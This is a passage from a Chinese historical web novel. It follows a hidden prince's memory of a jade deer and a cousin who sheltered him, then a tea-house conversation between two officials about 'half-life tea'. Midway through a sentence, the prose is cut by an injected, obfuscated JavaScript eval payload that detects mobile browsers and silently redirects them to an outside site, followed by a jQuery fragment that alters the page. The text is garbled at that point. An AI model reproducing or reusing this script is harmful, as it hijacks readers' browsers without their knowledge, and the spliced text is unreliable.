白玉鹿角断口处，盛湛的指尖磨出一道冷腻的汗痕。
“莎——莎、莎—”
窗外忽有簌簌声，他探身的动作比他的思绪还快，回过神之际，人已经贴身在窗沿旁。
雕海棠花纹窗棂的阴影斜斜切过盛湛眉骨，如戏台上武生掀帘的亮相。
内庭院空荡荡。
太湖石嶙峋影子里，蜷着半枝残柳。
再侧耳细听，那簌簌响动不过是外庭的仆役在帚落叶。
盛湛松一口气。
腕间剑柄的蓝宝石硌得掌心发潮，他忍不住讪讪笑了。
十一年前，前国舅文聿鳞怂恿晋王盛绚造反，发动政变。
皇帝震怒，血洗朝堂。
盛湛的父亲——太子盛瑜是先皇后文氏所出，太子妃文氏是文聿鳞嫡女，如何能辩白？
一夜间，他父亲、嫡母和生母均血溅天牢。
就在盛湛被人带进刑房之际，明世礼黑衣蒙面到来，趁禁军换防，偷偷带走他。
明府地窖深藏在假山下，石砖缝里嵌着郁郁青苔，三丈玄铁链锁住暗门。
此后三年，少年再未见天日。
长长短短的扫帚声，是他与明桂枝约好的暗语。
三长一短是安全，可以在气孔窥看。
两急三缓是小心，皇帝的鹰犬在角门窥探。
一长二短是危险，快快从地道逃走！
有一回，他饮了治风寒的药汤，错过了明桂枝的“一长二短”。
辑事厂的厂卫差一步就找到地牢的把手……
幸得她及时放了一把火。
回眸之际，他在暗室气孔瞥见她狡黠一笑。
熊熊火光火映着她的眸子，比北辰星还亮三分。
在地窖的第一夜，他缩在暗室角落发抖，忽见菱花砖缝里漏进一缕银光。
是他的小表弟。
不，是小表妹。
她翻下密道，怀里揣着这只莹润玉鹿。
“阿爹说，这是太子殿下的遗物。”
那羊脂玉制的小公鹿，其昂首之势，恰似欲奋蹄奔逐。
刹那间，盛湛喉头猛地一哽：“它应于山林之间畅饮清泉，自在驰骋，何苦困于囚笼之中……”
小表妹望着掌心里的白玉鹿许久，心有感触：“今日夫子讲授《汉书》，书里面说‘秦失其鹿，天下共逐之’……”
她抬眸看向他。
盛湛至今仍记得，那目光里就像有繁星。
她说：“我不明白，鹿明明最温驯和善，平日里只食青草，与世无争，究竟为何引得天下人竞相追逐，不得安宁？”
小表妹硬把他手拉过来，将白玉鹿叩进他的手掌中。
她的眸光仿若能穿透世间的纷繁，直抵人心最柔软处：“我觉得，只有愿意让鹿儿畅饮清泉、山林驰骋的人，才配拥有它。”
……
回忆如潮水般渐退。
外庭院的扫帚声忽地短促起来，大约是碰着太湖石根下的碎瓦。
晨光顺着窗棂漏进他袖管，腕骨上浮起一串青铜钱光斑。
盛湛愣了愣。
猛一回神，玉鹿的角尖戳进指缝，凉得发痛。
……
城西，古府。
早春的雨丝斜斜扫过檐角，青瓦洇出墨灰色。
回廊转角探出半枝红梅，花瓣上凝着水珠子，像失手抖落的碎琉璃。
茶室建在水榭上，竹帘半卷着，漏进几缕湿漉漉的天光。
湖里，石假山根儿底下漫着薄影。
池里的锦鲤似乎通灵性，见着人手的影儿就聚到水榭底下。
红鳞映碧水，活脱脱打翻胭脂匣。
方卯端起茶盏，是新蒸的桂花香片。
他数着檐角垂下的铜铃铛，数到第五颗时，窗外石径传来碎叶声。
那脚步应该踩惯青苔的，落得又轻又稳。
像老茶客往紫砂壶里注头道水。
门帘掀动时带起一阵凝香御墨的清气。
方卯搁下茶盏的工夫，古长青已立在八仙桌旁。
他袖口沾了几点墨色，想是方才在书房写公文，连官服都未及换下。
“原该备些新焙的龙井待客，”古长青撩袍坐下：“偏不巧，我前日得了个怪病——闻见茶青气就头疼。”
说着他自己先笑起来，眼尾细纹像池边春柳。
古长青的尖下颌上蓄着半寸花须，远看像是蘸秃了的狼毫笔头。
一对寿眉，顺着下垂的眼角往鬓边斜斜扫去，几绺白发在玉簪旁支棱着，像老梅枝上未化尽的霜。
他记得古长青年轻时也是丹凤眼的俊后生，眉目间颇有威仪。
如今皮肉松了，竟然显出三分菩萨相。
方卯垂眼盯着茶汤，舌尖顶住上颚才咽下轻叹。
原以为要枯坐三五刻钟的——枢密院的同僚提醒他，说古大人如今兼着织造局的烫手差事，便是晾着同级官员吃茶，旁人也说不得什么。
可那串脚步声来得太急，倒把他斟酌半日的开场白搅成乱麻。
那半肚子官场话，此刻，全像揣着油纸伞却撞见天放晴。
一下子不知道该接什么了。
案上《数书九章》翻在“钱谷”篇，被时雨润湿丝丝水痕——到底是户部老吏，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919873|160291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
连消遣读物都沾着账册气。
方卯低头抿了口茶，忽然觉得今早特意用桂花香熏了三遍的绸服，显得太刻意了。
窗棂间漏下的光移了半寸，正照在古长青腰间裹青布的牙牌上。
方卯恍然想起，听闻去岁查账时，这位铁面尚书竟为宁夏的失收农户亲自写陈情折子。
茶汤在舌根泛起回甘时，方卯终于松开攥着的袖口——那上面被他捏出的三道褶子，比对方衣襟的旧茶渍更显眼了。
风铃叮当响，惊醒了蜷在藤椅影儿里的狸猫。
方卯喉头滚出两声笑：“说起来，晌午打朱雀街过——”
竹帘筛下的光斑正巧晃在古长青襟前补丁处，那补丁原是去年泼了普洱渍子才缝的。
古长青不接话，只管将滚水绕着建盏边沿画圈。
方卯也不好：“我瞧见一样新出的茶，倒是不知道合不合你心意。”
话尾轻飘飘落在建盏腾起的一缕白烟里。
“半生茶？”
“正是！”
方卯不禁莞尔，案头白瓷缸养的青萍跟着晃出涟漪。
檐下风铃转起南风调，叫他想起臻颐茶行门口悬的牌匾……
那“半生茶”三字泼墨淋漓，活似腊月里竹扫帚扫霜痕，偏生收笔处又带出两分春柳柔。茶博士掀帘时惊起的雀儿，正巧掠过竖匾上“常恨半生多契阔”的“契”字，翅尖扫落经年积尘。
“其实就是苦丁。” 古长青也笑。
“嗯？”
“半生茶，就是苦丁茶。”
方卯顿时兴致更浓：“为何唤‘半生茶’？”
“因为苦，苦后回甘。”
“妙！”
方卯指尖一颤，茶汤泼在酸枝茶台上，倒映出廊前竹帘筛下的碎金。
笑声惊得檐角麻雀扑棱棱掠过池面。
“这苦后回甘——”话音在舌尖滚了半圈，化作一声轻叹。
茶气氤氲。
方卯想起那年春闱放榜，新科进士们的马蹄踏碎国子监的晨雾；
想起从前三伏天里在吏部值房抄录黄册，汗水洇透竹纸上的蝇头小楷；
想起在杭州、泉州时老友捎来的信笺，总在案头堆成雪，总也来不及回。
水榭旁的麻雀忽地噤了声。
方卯的手指无意识地摩挲着微凉的茶盏。
他忽然记起发妻临终前攥着的那串菩提子，一百零八颗念珠在昏黄的烛影里数了又数，终究没能数完整个秋天。
古长青冷不丁一句话，把方卯从走马灯一样的回忆中唤醒——
“方大人，你猜猜是谁写的对联？”